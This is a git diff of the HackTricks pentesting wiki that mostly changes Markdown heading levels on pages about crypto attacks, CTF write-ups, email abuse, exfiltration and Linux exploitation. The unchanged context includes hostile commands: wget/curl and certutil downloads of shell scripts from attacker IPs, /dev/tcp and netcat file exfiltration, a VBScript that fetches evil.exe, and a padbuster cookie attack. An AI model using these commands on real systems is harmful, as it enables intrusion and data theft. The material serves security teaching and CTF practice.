"**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. -## CBC-MAC +# CBC-MAC In cryptography, a **cipher block chaining message authentication code** (**CBC-MAC**) is a technique for constructing a message authentication code from a block cipher. The message is encrypted with some block cipher algorithm in CBC mode to create a **chain of blocks such that each block depends on the proper encryption of the previous block**. This interdependence ensures that a **change** to **any** of the plaintext **bits** will cause the **final encrypted block** to **change** in a way that cannot be predicted or counteracted without knowing the key to the block cipher. @@ -31,7 +29,7 @@ To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero init ![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png) -## Vulnerability +# Vulnerability With CBC-MAC usually the **IV used is 0**.\ This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: @@ -55,19 +53,19 @@ You can create a username called **Administ** (m1) and retrieve the signature (s Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ now, you can use s32 as the signature of the full name **Administrator**. -#### Summary +### Summary 1. Get the signature of username **Administ** (m1) which is s1 2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** 3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. -## Attack Controlling IV +# Attack Controlling IV If you can control the used IV the attack could be very easy.\ If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. -## References +# References More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) diff --git a/cryptography/crypto-ctfs-tricks.md b/cryptography/crypto-ctfs-tricks.md index be0f19fe..84b58e31 100644 --- a/cryptography/crypto-ctfs-tricks.md +++ b/cryptography/crypto-ctfs-tricks.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Crypto CTFs Tricks - -## Online Hashes DBs +# Online Hashes DBs * _**Google it**_ * [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) @@ -33,33 +31,33 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) -## Magic Autosolvers +# Magic Autosolvers * [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) * [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) * [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) -## Encoders +# Encoders Most of encoded data can be decoded with these 2 ressources: * [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) * [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -### Substitution Autosolvers +## Substitution Autosolvers * [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) * [https://quipqiup.com/](https://quipqiup.com) - Very good ! -#### Caesar - ROTx Autosolvers +### Caesar - ROTx Autosolvers * [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) -#### Atbash Cipher +### Atbash Cipher * [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) -### Base Encodings Autosolver +## Base Encodings Autosolver Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) @@ -132,7 +130,7 @@ Check all these bases with: [https://github.com/dhondta/python-codext](https://g [http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -### HackerizeXS \[_╫Λ↻├☰┏_] +## HackerizeXS \[_╫Λ↻├☰┏_] ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ @@ -140,7 +138,7 @@ Check all these bases with: [https://github.com/dhondta/python-codext](https://g * [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -### Morse +## Morse ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- @@ -148,7 +146,7 @@ Check all these bases with: [https://github.com/dhondta/python-codext](https://g * [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -### UUencoder +## UUencoder ``` begin 644 webutils_pl @@ -161,7 +159,7 @@ end * [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) -### XXEncoder +## XXEncoder ``` begin 644 webutils_pl @@ -172,7 +170,7 @@ end * [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) -### YEncoder +## YEncoder ``` =ybegin line=128 size=28 name=webutils_pl @@ -182,7 +180,7 @@ ryvkryvkryvkryvkryvkryvkryvk * [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) -### BinHex +## BinHex ``` (This file must be converted with BinHex 4.0) @@ -192,7 +190,7 @@ ryvkryvkryvkryvkryvkryvkryvk * [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) -### ASCII85 +## ASCII85 ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> @@ -200,7 +198,7 @@ ryvkryvkryvkryvkryvkryvkryvk * [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard +## Dvorak keyboard ``` drnajapajrna @@ -208,7 +206,7 @@ drnajapajrna * [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard) -### A1Z26 +## A1Z26 Letters to their numerical value @@ -216,7 +214,7 @@ Letters to their numerical value 8 15 12 1 3 1 18 1 3 15 12 1 ``` -### Affine Cipher Encode +## Affine Cipher Encode Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter @@ -224,7 +222,7 @@ Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and t krodfdudfrod ``` -### SMS Code +## SMS Code **Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ For example: 2=A, 22=B, 222=C, 3=D...\ @@ -232,7 +230,7 @@ You can identify this code because you will see** several numbers repeated**. You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -### Bacon Code +## Bacon Code Substitude each letter for 4 As or Bs (or 1s and 0s) @@ -241,21 +239,21 @@ Substitude each letter for 4 As or Bs (or 1s and 0s) AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` -### Runes +## Runes ![](../.gitbook/assets/runes.jpg) -## Compression +# Compression **Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. -## Easy Crypto +# Easy Crypto -### XOR - Autosolver +## XOR - Autosolver * [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) -### Bifid +## Bifid A keywork is needed @@ -263,7 +261,7 @@ A keywork is needed fgaargaamnlunesuneoa ``` -### Vigenere +## Vigenere A keywork is needed @@ -275,9 +273,9 @@ wodsyoidrods * [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) * [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +# Strong Crypto -### Fernet +## Fernet 2 base64 strings (token and key) @@ -291,7 +289,7 @@ Key: * [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing +## Samir Secret Sharing A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). @@ -303,12 +301,12 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +## OpenSSL brute-force * [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) * [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +# Tools * [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) * [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/cryptography/electronic-code-book-ecb.md b/cryptography/electronic-code-book-ecb.md index bca97c37..08c16c08 100644 --- a/cryptography/electronic-code-book-ecb.md +++ b/cryptography/electronic-code-book-ecb.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Electronic Code Book (ECB) - -## ECB +# ECB (ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. @@ -30,7 +28,7 @@ Using ECB has multiple security implications: * **Blocks from encrypted message can be removed** * **Blocks from encrypted message can be moved around** -## Detection of the vulnerability +# Detection of the vulnerability Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ @@ -56,9 +54,9 @@ Now, the attacker just need to discover if the format is `< | 4 | 4 | 8 | 16 | | 7 | 7 | 14 | 16 | -## Exploitation of the vulnerability +# Exploitation of the vulnerability -### Removing entire blocks +## Removing entire blocks Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: @@ -73,7 +71,7 @@ Then, you can remove the first block of 8B and you will et a valid cookie for th \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` -### Moving blocks +## Moving blocks In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ @@ -86,7 +84,7 @@ The cookie of this user is going to be composed by 3 blocks: the first 2 is the ** Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** -## References +# References * [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\)) diff --git a/cryptography/hash-length-extension-attack.md b/cryptography/hash-length-extension-attack.md index 88e3a45f..9454214a 100644 --- a/cryptography/hash-length-extension-attack.md +++ b/cryptography/hash-length-extension-attack.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Hash Length Extension Attack - -## Summary of the attack +# Summary of the attack Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: @@ -32,7 +30,7 @@ Imagine a server which is **signing** some **data** by **appending** a **secret* Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previos data + appended data**. -### How? +## How? Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. @@ -44,11 +42,11 @@ If an attacker wants to append the string "append" he can: * Append the string "append" * Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** -### **Tool** +## **Tool** {% embed url="https://github.com/iagox86/hash_extender" %} -## References +# References You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) diff --git a/cryptography/padding-oracle-priv.md b/cryptography/padding-oracle-priv.md index 2f127fe8..c887e312 100644 --- a/cryptography/padding-oracle-priv.md +++ b/cryptography/padding-oracle-priv.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Padding Oracle - -## CBC - Cipher Block Chaining +# CBC - Cipher Block Chaining In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: @@ -31,7 +29,7 @@ To decrypt CBC the **opposite** **operations** are done: Notice how it's needed to use an **encryption** **key** and an **IV**. -## Message Padding +# Message Padding As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. @@ -47,13 +45,13 @@ Let's look at more examples with a **2 blocks of length 8bytes**: Note how in the last example the **last block was full so another one was generated only with padding**. -## Padding Oracle +# Padding Oracle When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. -### How to exploit +## How to exploit You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do @@ -81,7 +79,7 @@ If the site is vulnerable `padbuster`will automatically try to find when the pad perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` -### The theory +## The theory In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. @@ -110,7 +108,7 @@ Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** **Follow this chain until you decrypt the whole encrypted text.** -### Detection of the vulnerability +## Detection of the vulnerability Register and account and log in with this account .\ If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. @@ -118,7 +116,7 @@ If you **log in many times** and always get the **same cookie**, there is probab Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. -## References +# References * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) diff --git a/cryptography/rc4-encrypt-and-decrypt.md b/cryptography/rc4-encrypt-and-decrypt.md index 3a860f1b..860b7d25 100644 --- a/cryptography/rc4-encrypt-and-decrypt.md +++ b/cryptography/rc4-encrypt-and-decrypt.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# RC4 - Encrypt\&Decrypt - If you can somehow encrypt a plaintext using a RC4**,** you can decrypt any content encrypted by that RC4(using the same password) just using the encryption function. If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: diff --git a/ctf-write-ups/README.md b/ctf-write-ups/README.md index c0210867..12de86b1 100644 --- a/ctf-write-ups/README.md +++ b/ctf-write-ups/README.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# CTF Write-ups - * [Write-up factory](https://writeup.raw.pm/) - Seach engine to find write-ups \(TryHackMe, HackTheBox, etc.\) * [CTFtime Write-ups](https://ctftime.org/writeups) - Newest write-ups added to CTF events on CTFtime diff --git a/ctf-write-ups/challenge-0521.intigriti.io.md b/ctf-write-ups/challenge-0521.intigriti.io.md index f17375de..20413b28 100644 --- a/ctf-write-ups/challenge-0521.intigriti.io.md +++ b/ctf-write-ups/challenge-0521.intigriti.io.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# challenge-0521.intigriti.io - -### Brief Description +## Brief Description The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\ This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via an iframe. @@ -28,7 +26,7 @@ It was found that the form will **insert the user input inside the JavaScript `e However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.\ Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function. -### Accessing the HTML +## Accessing the HTML It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:\ ![](https://i.imgur.com/Slq2Xal.png) @@ -53,7 +51,7 @@ Then, from the `e` HTML element it’s possible to access the `document` object e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"] ``` -### Calling a function without parenthesis with JS code as string +## Calling a function without parenthesis with JS code as string From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.\ However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** (\`\`).\ @@ -71,7 +69,7 @@ e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"] You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php) -### Final forbidden characters bypass +## Final forbidden characters bypass However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit (e\[]\`${}) are allowed**.\ This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.\ @@ -85,7 +83,7 @@ Using these tricks and some more complex ones it was possible to **generate all e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` -### Exploit Code +## Exploit Code This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit: @@ -158,7 +156,7 @@ txt = f'{document}[{write}]'+'`${['+payload+']}`' print(txt) #Write the exploit to stdout ``` -### Exploitation +## Exploitation In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here: diff --git a/ctf-write-ups/try-hack-me/README.md b/ctf-write-ups/try-hack-me/README.md index 05b46f6c..eb7ae3e4 100644 --- a/ctf-write-ups/try-hack-me/README.md +++ b/ctf-write-ups/try-hack-me/README.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Try Hack Me -
diff --git a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md index 3266895f..ce1c5ba1 100644 --- a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md +++ b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-# hc0n Christmas CTF - 2019 - ![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg) -## Enumeration +# Enumeration I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md index 5ca96658..b6777cba 100644 --- a/ctf-write-ups/try-hack-me/pickle-rick.md +++ b/ctf-write-ups/try-hack-me/pickle-rick.md @@ -16,13 +16,12 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Pickle Rick ![](../../.gitbook/assets/picklerick.gif) This machine was categorised as easy and it was pretty easy. -### Enumeration +# Enumeration I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): @@ -50,7 +49,7 @@ Checking the source code of the root page, a username is discovered: `R1ckRul3s` Therefore, you can login on the login page using the credentials `R1ckRul3s:Wubbalubbadubdub` -### User +# User Using those credentials you will access a portal where you can execute commands: @@ -72,7 +71,7 @@ The **second ingredient** can be found in `/home/rick` ![](<../../.gitbook/assets/image (240).png>) -### Root +# Root The user **www-data can execute anything as sudo**: diff --git a/emails-vulns.md b/emails-vulns.md index 9ebb62ce..4fe6d0db 100644 --- a/emails-vulns.md +++ b/emails-vulns.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Emails Vulnerabilities +# Payloads -## Payloads - -### Ignored parts of an email +## Ignored parts of an email The symbols: **+, -** and **{}** in rare occasions can be used for tagging and ignored by most e-mail servers @@ -31,43 +29,43 @@ The symbols: **+, -** and **{}** in rare occasions can be used for tagging and i * E.g. john.doe(intigriti)@example.com → john.doe@example.com -### Whitelist bypass +## Whitelist bypass * inti(;inti@inti.io;)@whitelisted.com * inti@inti.io(@whitelisted.com) * inti+(@whitelisted.com;)@inti.io -### IPs +## IPs You can also use IPs as domain named between square brackets: * john.doe@\[127.0.0.1] * john.doe@\[IPv6:2001:db8::1] -### Other vulns +## Other vulns ![](<.gitbook/assets/image (296).png>) -## Third party SSO +# Third party SSO -### XSS +## XSS Some services like **github** or **salesforce allows** you to create an **email address with XSS payloads on it**. If you can **use this providers to login on other services** and this services **aren't sanitising** correctly the email, you could cause **XSS**. -### Account-Takeover +## Account-Takeover If a **SSO service** allows you to **create an account without verifying the given email address** (like **salesforce**) and then you can use that account to **login in a different service** that **trusts** salesforce, you could access any account.\ _Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._ -## Reply-To +# Reply-To You can send an email using _**From: company.com**_** ** and _**Replay-To: attacker.com**_ and if any **automatic reply** is sent due to the email was sent **from** an **internal address** the **attacker** may be able to **receive** that **response**. -## **References** +# **References** * [**https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view**](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view) -## Hard Bounce Rate +# Hard Bounce Rate Some applications like AWS have a **Hard Bounce Rate** (in AWS is 10%), that whenever is overloaded the email service is blocked. diff --git a/exfiltration.md b/exfiltration.md index 657e64c0..7b509fb4 100644 --- a/exfiltration.md +++ b/exfiltration.md @@ -17,27 +17,25 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Exfiltration +# Copy\&Paste Base64 -## Copy\&Paste Base64 - -#### Linux +### Linux ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` -#### Windows +### Windows ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` -## HTTP +# HTTP -#### Linux +### Linux ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py @@ -46,7 +44,7 @@ curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` -#### Windows +### Windows ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 @@ -63,11 +61,11 @@ Start-BitsTransfer -Source $url -Destination $output Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` -### Upload files +## Upload files [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -### **HTTPS Server** +## **HTTPS Server** ```python # from https://gist.github.com/dergachev/7028596 @@ -79,25 +77,25 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous # then in your browser, visit: # https://localhost:443 -#### PYTHON 2 +### PYTHON 2 import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() -#### +### -#### PYTHON3 +### PYTHON3 from http.server import HTTPServer, BaseHTTPRequestHandler import ssl httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True) httpd.serve_forever() -#### +### -#### USING FLASK +### USING FLASK from flask import Flask, redirect, request from urllib.parse import quote app = Flask(__name__) @@ -107,26 +105,26 @@ def root(): return "OK" if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) -#### +### ``` -## FTP +# FTP -### FTP server (python) +## FTP server (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` -### FTP server (NodeJS) +## FTP server (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` -### FTP server (pure-ftp) +## FTP server (pure-ftp) ```bash apt-get update && apt-get install pure-ftp @@ -146,7 +144,7 @@ chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` -### **Windows** client +## **Windows** client ```bash #Work well with python. With pure-ftp use fusr:ftp @@ -159,7 +157,7 @@ echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` -## SMB +# SMB Kali as server @@ -197,7 +195,7 @@ WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.1 WindPS-2> cd new_disk: ``` -## SCP +# SCP The attacker has to have SSHd running. @@ -205,23 +203,23 @@ The attacker has to have SSHd running. scp @:/ ``` -## NC +# NC ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` -## /dev/tcp +# /dev/tcp -### Download file from victim +## Download file from victim ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` -### Upload file to victim +## Upload file to victim ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker @@ -232,7 +230,7 @@ cat <&6 > file.txt thanks to **@BinaryShadow\_** -## **ICMP** +# **ICMP** ```bash #In order to exfiltrate the content of a file via pings you can do: @@ -252,7 +250,7 @@ def process_packet(pkt): sniff(iface="tun0", prn=process_packet) ``` -## **SMTP** +# **SMTP** If you can send data to an SMTP server, you can create a SMTP to receive the data with python: @@ -260,7 +258,7 @@ If you can send data to an SMTP server, you can create a SMTP to receive the dat sudo python -m smtpd -n -c DebuggingServer :25 ``` -## TFTP +# TFTP By default in XP and 2003 (in others it need to be explicitly added during installation) @@ -286,7 +284,7 @@ In **victim**, connect to the Kali server: tftp -i get nc.exe ``` -## PHP +# PHP Download a file with a PHP oneliner: @@ -294,13 +292,13 @@ Download a file with a PHP oneliner: echo "" > down2.php ``` -## VBScript +# VBScript ```bash Attacker> python -m SimpleHTTPServer 80 ``` -#### Victim +### Victim ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs @@ -334,7 +332,7 @@ echo ts.Close >> wget.vbs cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` -## Debug.exe +# Debug.exe This is a crazy technique that works on Windows 32 bit machines. Basically the idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take a binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`. @@ -352,7 +350,7 @@ wine exe2bat.exe nc.exe nc.txt Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe -## DNS +# DNS [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index 4c544729..8275ce10 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -16,9 +16,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Linux Exploiting (Basic) (SPA) -### **ASLR** +# **ASLR** Aleatorización de direcciones @@ -63,7 +62,7 @@ int i = 5; **Sección STACK**: La pila (Argumentos pasados, cadenas de entorno (env), variables locales…) -### **1.STACK OVERFLOWS** +# **1.STACK OVERFLOWS** > buffer overflow, buffer overrun, stack overrun, stack smashing @@ -75,15 +74,15 @@ Para obtener la dirección de una función dentro de un programa se puede hacer: objdump -d ./PROGRAMA | grep FUNCION ``` -### ROP +# ROP -#### Call to sys\_execve +## Call to sys\_execve {% content-ref url="rop-syscall-execv.md" %} [rop-syscall-execv.md](rop-syscall-execv.md) {% endcontent-ref %} -### **2.SHELLCODE** +# **2.SHELLCODE** Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” @@ -219,7 +218,7 @@ En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la d **Off-by-One Exploit**\ Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP. -### **4. Métodos return to Libc** +# **4. Métodos return to Libc** Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar. @@ -277,7 +276,7 @@ Esta shellcode se puede repetir 